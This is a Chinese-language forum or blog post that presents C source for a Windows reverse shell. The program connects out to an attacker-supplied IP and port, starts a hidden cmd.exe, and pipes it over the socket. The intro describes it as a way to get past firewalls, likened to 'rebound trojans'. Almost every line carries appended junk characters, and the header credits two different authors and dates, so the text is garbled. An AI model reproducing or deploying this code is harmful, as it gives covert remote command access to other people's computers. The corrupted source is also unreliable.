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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .Dt.7G  
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/* ============================== )@E'yHYO>  
Rebound port in Windows NT TQsTL2a  
By wind,2006/7 !WNO!S0/j  
===============================*/ |6T"T P  
#include A}MF>.!}C  
#include 8 _|"+Ze  
A"Sp7M[J  
#pragma comment(lib,"wsock32.lib") R~N'5#.*M  
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void OutputShell(); pL`)^BJ  
SOCKET sClient; z2god 1"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (/gMtIw  
)g[7XB/w  
void main(int argc,char **argv) (F'?c1  
{ 6;p"xC-  
WSADATA stWsaData; *#c^.4$'  
int nRet; cW?~]E'<  
SOCKADDR_IN stSaiClient,stSaiServer; Qo])A6$IU  
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if(argc != 3) :Nl.< 6+  
{ ,N@N4<C]  
printf("Useage:\n\rRebound DestIP DestPort\n"); BBHoD:l  
return; ;`rz]7,*  
} jGFDj"Y  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;-d2~1$  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ydf;g5OZ  
2/RW(U  
stSaiClient.sin_family = AF_INET; !Tu4V\^~A  
stSaiClient.sin_port = htons(0); \5R>+[n!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^/"2s}+  
e\WG-zi/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W0s3nio  
{ p ^U#1c  
printf("Bind Socket Failed!\n"); ],w+4;+  
return; m}GEx)Y D  
} Ctpc]lJ}  
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stSaiServer.sin_family = AF_INET; #}aBRKZ f6  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^_XV}&7Q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); QI{<q<  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $[g8j`or!  
{ <:I]0|[  
printf("Connect Error!"); EV|L~^Q  
return; `fUP q ;  
} N3o kN8d  
OutputShell(); {14sI*b16  
} CV7%ud]E  
(m& ''yaH  
void OutputShell() :my@Oxx4@  
{ cDqj&:$e  
char szBuff[1024]; V(<(k,8=  
SECURITY_ATTRIBUTES stSecurityAttributes; 0]MI*s>&  
OSVERSIONINFO stOsversionInfo; y>|AX/n  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 06fs,!Q@  
STARTUPINFO stStartupInfo; w$FN(BfA  
char *szShell; >&l{_b\k  
PROCESS_INFORMATION stProcessInformation; K])| V  
unsigned long lBytesRead; X2to](\% X  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zR_yxs'  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); AW/)R"+  
stSecurityAttributes.lpSecurityDescriptor = 0; "7_qB8\  
stSecurityAttributes.bInheritHandle = TRUE; %a$Fsn  
hsHtLH+@  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .9KW| (uW  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Nj|~3 *KO  
z+F:_  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); O:Ob{k  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w"?E=RS  
stStartupInfo.wShowWindow = SW_HIDE; l527>7 eT  
stStartupInfo.hStdInput = hReadPipe; FN295:Iuw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P<s:dH"  
(h>+ivf|  
GetVersionEx(&stOsversionInfo); MRL,#+VxA  
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switch(stOsversionInfo.dwPlatformId) v m)'C C  
{ HK!Vd_&9,  
case 1: Y~uqKb;A  
szShell = "command.com"; &{(8EvuDd  
break; ~7"6Y ]  
default: ~#V1Gunq  
szShell = "cmd.exe"; BRGTCR  
break; 0q:g Dc6z  
} R; Gf3K  
3-$w5O3}  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); HP*AN@>Kw  
ffE&=eh)  
send(sClient,szMsg,77,0); uq_h8JH$  
while(1) 6v9A7g;4.  
{ /dt'iai~l  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e \ rb  
if(lBytesRead) @iD5X.c  
{ Rhil]|a/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); NJTC+`Hm  
send(sClient,szBuff,lBytesRead,0); N~@VZbS(6  
} fE&wtw{gi  
else 8GFA}_(^R  
{ ZeY kZzN  
lBytesRead=recv(sClient,szBuff,1024,0); sKuPV  
if(lBytesRead<=0) break; 7{:g|dX  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5N4[hQrVJ  
} w-(^w9_e  
} V;SXa|,  
x8wal[6  
return; ,1g*0W^  
}
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